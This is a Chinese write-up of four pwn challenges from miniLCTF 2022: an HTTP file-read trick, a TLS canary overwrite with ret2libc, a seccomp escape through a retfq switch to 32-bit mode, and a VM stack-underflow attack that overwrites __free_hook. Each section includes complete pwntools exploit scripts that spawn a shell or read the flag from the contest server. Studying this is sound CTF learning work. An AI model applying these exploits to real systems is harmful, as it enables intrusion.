miniLCTF_2022-Pwn WriteUp

> by Mikato

> **kgadget和kvdb未解出**

Easy HTTPd

Challenge

签到题，一个标准的socket程序，接收形如http请求的字符串并进行一些处理

```
for ( i = 0; i <= 254; ++i )
  {
    if ( recv(a1, &haystack[i], 1uLL, 0) < 0 )
      ......
    if ( strstr(haystack, "\r\n\r\n") )
      break;
  }
  ......
  return strdup(haystack);
```

接收客户端发送的字符，停止条件是**出现子串"\r\n\r\n"**或长度达到255

strdup函数把字符串复制到堆上，返回指向它的指针

```
v2 = strstr(a1, "User-Agent: ");
  ......
  __isoc99_sscanf(v2, "User-Agent: %s\r\n\r\n", s1);
  if ( strcmp(s1, "MiniL") )
    return 0LL;
  v3 = strstr(a1, "GET ");
  ......
  __isoc99_sscanf(v3, "GET %s\r\n", s);
  return strdup(s);
```

把**"User-Agent: "和其后首个"\r\n\r\n"之间**的子串提取为新字符串s1，如果**不等于**"MiniL"就return

同理，提取出GET后的子串，复制到堆上，返回指向它的指针

```
if ( strcmp(s1, "/home/minil/flag") )
    {
      sub_14CE(s1, a1);
      ......
    }

// sub_14CE(const char *a1, int a2)
stream = fopen(a1, "r");
__isoc99_fscanf(stream, "%s", s);
v4 = strlen(s);
send(a2, s, v4, 0);
```

如果s1**不等于**"/home/minil/flag"，就打开s1对应的文件，发送它的内容给我们

Solution

直接send符合格式的字符串即可，不过要**把"/home"改成"//home"**，exp如下

```
import socket
host = 'pwn.archive.xdsec.chall.frankli.site'
port = 10067
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
payload = b'GET //home/minil/flag\r\nUser-Agent: MiniL \r\n\r\n'
s.send(payload)
result = s.recv(1024)
print(result)
```

Tips

1. strcmp在字符串相等时**返回0!!!!**，有点反直觉...像个弱智一样被卡了半天
2. 要把"User-Agent: MiniL \r\n\r\n"放在后面，因为遇到"\r\n\r\n"会停止接收输入

Gods

Challenge

有canary

```
-> % checksec gods
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

vuln函数中两处漏洞：

1. 没有对index上限检查，可对v4上任意高地址写

```
_isoc99_scanf("%hd", &index);
    if ( index <= 1u )
    {
      puts("Damn, I'm angry!");
      exit(0);
    }
    printf("Name: ");
    __isoc99_scanf("%7s", &v5);
    v4[index - 1] = v5;
```

2. v6大小为32字节，缓冲区溢出

```
puts("Finally, what's your name?");
__isoc99_scanf("%72s", v6);
printf("Oh dear '%s', I hope one day you can be a god of XDSEC!\n", (const char
*)v6);
```

但由于是printf输出，遇到\x00会停止，没法泄露canary，得想别的办法

```
pthread_create(&pid, 0LL, vuln, 0LL);
```

结合main函数中这行代码**上网搜索**，不难查找到**TLS**相关的知识，得到解题思路

Solution

1. 找到合适的index，覆盖TLS中的canary（看汇编可知在fs:28h处）

   在gdb中使用**fsbase**可以得到fs，由此便可算出要覆盖TLS中canary所需的index

   ```
   pwndbg> stack 20
   00:0000| rsp 0x7ffff7da1e90 ◂— 0x0
   ... ↓        2 skipped
   03:0018|     0x7ffff7da1ea8 ◂— 0x20000
   04:0020|     0x7ffff7da1eb0 ◂— 0x7852 /* 'Rx' */
   ......
   pwndbg> fsbase
   0x7ffff7da2700
   pwndbg> p (0x7ffff7da2700+0x28)-0x7ffff7da1eb0
   $6 = 2168
   pwndbg> p 2168/8
   $7 = 271
   ```

   index = 271 **+ 1** = 272（因为源代码是v4[index - 1] = v5）

2. 覆盖后便是ret2libc模板题，不再赘述

exp如下

```
from pwn import *
context.terminal=['tmux', 'splitw', '-h']
# context.log_level = 'debug'
# io = process("./gods")
io = remote('pwn.archive.xdsec.chall.frankli.site', 10062)

# gdb.attach(io, 'b vuln')
elf = ELF('./gods')
libc = ELF('./libc-2.31.so')
main_addr = elf.symbols[b'main']
puts_offset = libc.symbols[b'puts']
puts_plt = elf.plt[b'puts']
puts_got = elf.got[b'puts']
# ROPgadget
pop_rdi_ret = 0x4015d3
ret = 0x40101a

# TLS index: 272
io.sendlineafter("(*^_^*)", b'yes')
```

```
io.sendlineafter("Rank: ", b'272')
io.sendafter("Name: ", b'bbbbbbb')
io.sendlineafter("Rank: ", b'2')
io.sendafter("Name: ", b'mikatoo')

# leak address of libc
payload1 = b'a'*0x18 + b'bbbbbbb\x00' + p64(0)
payload1 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter(b'your name?\n', payload1)
io.recvuntil(b'XDSEC!\n')
puts_real = u64(io.recvline()[:-1].ljust(8,b'\x00'))
libc_base = puts_real - puts_offset
system_addr = libc_base + libc.symbols[b'system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))

# get shell
io.sendline(b'yes')
payload2 = b'a'*0x18 + b'bbbbbbb\x00' + p64(0)
payload2 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(ret) + p64(system_addr)
io.sendlineafter(b'your name?\n', payload2)

io.interactive()
```

tips

被坑惨了...这才是这题教会我的东西

1. printf遇到\x00会停止，但scanf不会，所以尽管最后会得到这样的输出，但实际上后面的字节也发送出去了

   ```
   [*] Switching to interactive mode
   Oh dear 'aaaaaaaaaaaaaaaaaaaaaaaabbbbbbb', I hope one day you can be a god
   of XDSEC!
   ```

2. 如果payload2中不加上p64(ret)，打出去后会发生段错误，必须在本地调试才能得到错误信息

   详情见这个stackoverflow上的提问

Shellcode

Challenge

sandbox题，程序逻辑相当简单，直接执行我们输入的代码，但这几行限制了系统调用

```
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) < 0 )
  {
    perror("prctl(PR_SET_NO_NEW_PRIVS)");
    exit(2);
  }
  if ( prctl(22, 2LL, &v1) < 0 )
  {
    perror("prctl(PR_SET_SECCOMP)");
    exit(2);
  }
```

用seccomp-tools可以查看具体限制了哪些系统调用

```
-> % seccomp-tools dump ./shellcode
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x25 0x04 0x00 0x40000000  if (A > 0x40000000) goto 0006
 0002: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0007
 0003: 0x15 0x03 0x00 0x00000005  if (A == fstat) goto 0007
 0004: 0x15 0x02 0x00 0x00000000  if (A == read) goto 0007
 0005: 0x15 0x01 0x00 0x00000009  if (A == mmap) goto 0007
 0006: 0x06 0x00 0x00 0x00000000  return KILL
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
```

可以看到只有在调用write、fstat、read、mmap时才goto 0007，也就是ALLOW，那么就不能简单使用system("/bin/sh")一类

fstat看起来有点奇怪，事实上32位下open和64位下fstat系统调用号都为5，而恰好有一条汇编指令**retfq**可以让程序转成32位模式运行，答案浮出水面

Solution

1. 用mmap分配一块内存，向上面写入我们要在32位模式下执行的shellcode

   ```
   mmap(0x40404040, 0x1000, 7, 34, 0, 0)
   read(0, 0x40404040, 0x1000)
   ```

2. 用retfq指令**转到32位**，同时要**调整rsp**，否则原本的rsp截断成32位后会变成奇怪的数，后面push时可能会访问非法内存，把它随便弄成一个靠谱的数就行，这里选在我们mmap的内存上

   其中0x23是retfq的参数，表示要转成32位模式，0x40404040是执行retfq后**rip**将变成的值，我们要把之后的shellcode写到那里，让程序在32位模式下执行，这也是我们要自己**调用一次read**的原因

   ```
   mov rsp, 0x40404f40

   push 0x23
   push 0x40404040
   retfq
   ```

3. 然后用32位的open打开flag文件，**转回64位**后read它，用write输出到屏幕

这一段代码我们是用步骤1中的read读入的，程序实际流程是把下面这些**read到0x40404040之后**再执行步骤2中的内容，注意0x40404065要我们调试得到，其实就是**read开始**的地址

```
i386.linux.open('./flag')
push 0x33;
push 0x40404065;
retfq

amd64.linux.read(3, 0x40404840, 0x100)
amd64.linux.write(1, 0x40404840, 0x100)
```

完整exp如下

```
from pwn import *
# io = process("./shellcode")
io = remote('pwn.archive.xdsec.chall.frankli.site', 10053)

def asm64(sc):
    return asm(sc, os='linux', arch='amd64')
def asm32(sc):
    return asm(sc, os='linux', arch='i386')

# mmap(0x40404040, 0x1000, 7, 34, 0, 0) rax=9
mmap = asm64('''
mov edi, 0x40404040
xor rsi,rsi
mov esi,0x1000
xor rdx,rdx
xor dl,7
push 0x22
pop r10
xor r8, r8
dec r8
xor r9, r9
xor rax,rax
mov eax,9
syscall
''')
# read(0, 0x40404040, 0x1000) rax=0
read = asm64('''
xor rdi,rdi
xor rsi,rsi
mov esi, 0x40404040
xor rdx,rdx
mov edx,0x1000
xor rax, rax
syscall
''')
# rsp was cut off, so change it
rsp = asm64('''
mov rsp, 0x40404840
''')
to32 = asm64('''
push 0x23
```

```
push 0x40404040
retfq
''')

sc1 = mmap + read + rsp + to32
io.sendline(sc1)

openflag = asm32(shellcraft.i386.linux.open('./flag'))
ret264 = asm32('''
push 0x33
push 0x40404065
// retfq
''') + b'H\xcb'
readflag = asm64(shellcraft.amd64.linux.read(3, 0x40404840, 0x100))
writeflag = asm64(shellcraft.amd64.linux.write(1, 0x40404840, 0x100))

sc2 = openflag + ret264 + readflag + writeflag
io.sendline(sc2)

io.interactive()
```

Tips

1. 题目中的check函数会对sc1检查，所以不能用shellcraft，得自己写，但第二个shellcode在我们自己mmap的内存中，程序不进行检查，所以可以偷懒
2. asm32('retfq')会出错，大概与pwntools有关，所以要手动换成字节

minil_bug

Challenge

观察dockerfile，从这个github项目上克隆程序并打了个patch，main.c的逻辑很简单，读入512字节的code并让vm来执行他们

直接看github上的源码分析vm.c，漏洞在vm_exec函数中，这几个函数都**不对sp做检测**，我们可以一直调用**POP**，**让sp变成负值**，出题人打的patch也没有解决这个问题。

```
case LOAD: // load local or arg
    offset = vm->code[ip++];
    vm->stack[++sp] = vm->call_stack[callsp].locals[offset];
    break;
case GLOAD: // load from global memory
    addr = vm->code[ip++];
    vm->stack[++sp] = vm->globals[addr];
    break;
case STORE:
    offset = vm->code[ip++];
    vm->call_stack[callsp].locals[offset] = vm->stack[sp--];
    break;
case GSTORE:
    addr = vm->code[ip++];
    vm->globals[addr] = vm->stack[sp--];
    break;
```

同时观察vm.h中的结构体，这对理解本题至关重要

```
typedef struct {
    int *code;
    int code_size;

    // global variable space
    int *globals;
    int nglobals;

    // Operand stack, grows upwards
    int stack[DEFAULT_STACK_SIZE];
    Context call_stack[DEFAULT_CALL_STACK_SIZE];
} VM;
```

可以看到，stack数组紧挨前面的数据，如果我们让sp为负值，就可以利用上面四个函数**随意更改code和globals两个指针的值**，配合**GSTORE**，我们可以**对任意地址写**

Solution

1. 相当重要的一点是vm结构体内的**vm->call_stack[callsp].locals数组**给了我们一个绝佳的**数据存放处**，我们定义一些**"宏"**，可以很方便地用**LOAD和STORE**从中存取数据，同时也要注意维护**结构体中某些数据**在操作过程中保持不变，比如**code_size**，否则会出错。当然，虽然nglobals没有维护也没问题，但其实本应维护
2. 我们先把*globals改写为*code，因为**code在栈上**，用gdb找到一个libc函数地址到它的偏移，用GLOAD就可以把它存到vm结构体的stack中，由此也就可以读取它，算出**所有libc函数**在运行时被加载的地址。exp中，这个栈上的libc函数地址是**ibc_start_main + 243**
3. 同理用上面的方式**改写free_hook为system("/bin/sh")**，在vm_free中会**对*globals进行free**，此时我们成功get shell

exp如下，具体操作见注释

```
from pwn import *
# io = process('./bugged_interpreter')
io = remote('pwn.archive.xdsec.chall.frankli.site', 10083)
libc = ELF('./libc-2.31.so')
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io, 'b* $rebase(0x1e45)')

# opcode
ADD = IADD = 1
PUSH = ICONST = 9
LOAD = 10
GLOAD = 11
STORE = 12
GSTORE = 13
POP = 15
HALT = 18

# C_SIZE is important!!!!!!!!!
C_SIZE = 0
C_ADDR_LOW = 1
C_ADDR_HIGH = 2
```

```
SYSTEM_ADDR_LOW = 3
SYSTEM_ADDR_HIGH = 4 # in fact, libc_addr_high!!!!
FREE_HOOK_8_LOW = 5

def formcode(cod):
    return b''.join(p32(x) for x in cod)

code = [
    POP, # Pop globals length and pointer
    POP,
    POP,

    POP, # Pop struct alignment
    STORE, C_SIZE, # Pop code_size
    STORE, C_ADDR_HIGH,
    STORE, C_ADDR_LOW,

    LOAD, C_ADDR_LOW,
    LOAD, C_ADDR_HIGH,
    LOAD, C_SIZE,
    PUSH, 0, # Write struct alignment

    LOAD, C_ADDR_LOW, # change globals -> code
    LOAD, C_ADDR_HIGH, # sp = -1
    PUSH, 0, # sp = 0

    # GLOAD (libc_start_main + 243) into (vm.stack), use gdb to get offset!
    GLOAD, 0x87, # high 4 bytes
    GLOAD, 0x86, # low 4 bytes
    # use add to change low 4 bytes, now (system_real) is in (vm->stack)
    PUSH, libc.sym['system']-libc.sym['__libc_start_main']-243,
    ADD,
    # GLOAD low 4 bytes of (free_hook - 8) into (vm.stack), high 4 bytes of libc
is the same!
    GLOAD, 0x86,
    PUSH, libc.sym['__free_hook'] - libc.sym['__libc_start_main'] - 243 - 8,
    ADD,
    # change globals -> (free_hook - 8), when vm_free, first free(globals)
    STORE, FREE_HOOK_8_LOW,
    STORE, SYSTEM_ADDR_LOW,
    STORE, SYSTEM_ADDR_HIGH,
    POP, # nglobals
    POP,
    POP,
    LOAD, FREE_HOOK_8_LOW,
    LOAD, SYSTEM_ADDR_HIGH,
    PUSH, 0, # sp = 0
    # get system -> vm.stack
    LOAD, SYSTEM_ADDR_HIGH,
    LOAD, SYSTEM_ADDR_LOW,
    # change free_hook to system
    GSTORE, 2, # globals[2] = free_hook - 8 + 8 = free_hook
    GSTORE, 3, # globals = free_hook + 4
    # write /bin/sh\x00 to vm.stack
    PUSH, 0x6e69622f,
```

```
    PUSH, 0x68732f,
    # write /bin/sh\x00 to free_hook-8
    GSTORE, 1, # system(*(free_hook-8))
    GSTORE, 0, # same as system('/bin/sh')
    # jump to vm_free
    HALT
]

payload = formcode(code)
payload = payload.ljust(512, b"\x00")
io.send(payload)

io.interactive()
```

Tips

1. 要用push 0和pop操作来平衡sp的值
2. exp中对code的处理、使用宏的思路来自这篇WP，我认为十分精彩

Thoughts

1. 五一前因为个人原因经历了两周多的玉玉期，期间内心痛苦、时常自卑，学习也当然停滞。开赛后始终觉得自己没什么希望，毕竟学习进度仅仅到栈溢出，但摆烂几天后居然做出了第一题，随后上瘾通宵两晚，善用互联网（，最终达到了平均水平，这其实是很出乎我意料的。这也是我第一次打比赛，学到了很多，觉得比赛比做题好太多，感觉心中有了一些激情（虽然不知道能坚持多久
2. 第一次打比赛，当然也是第一次写wp，所以写得很认真，并且斟酌了用语、认真查错，语气也比较正式。

> 但写起来也太tm累了，要是之后还有机会写wp，我就以能让自己看懂的标准写了

References

1. shellcode

   qwb2021_shellcode | Lingze's blog

2. minil_bug

   2022 RWCTF PWN SVME-爱代码爱编程 (icode.best)

   CTFtime.org / Real World CTF 4th / SVME / Writeup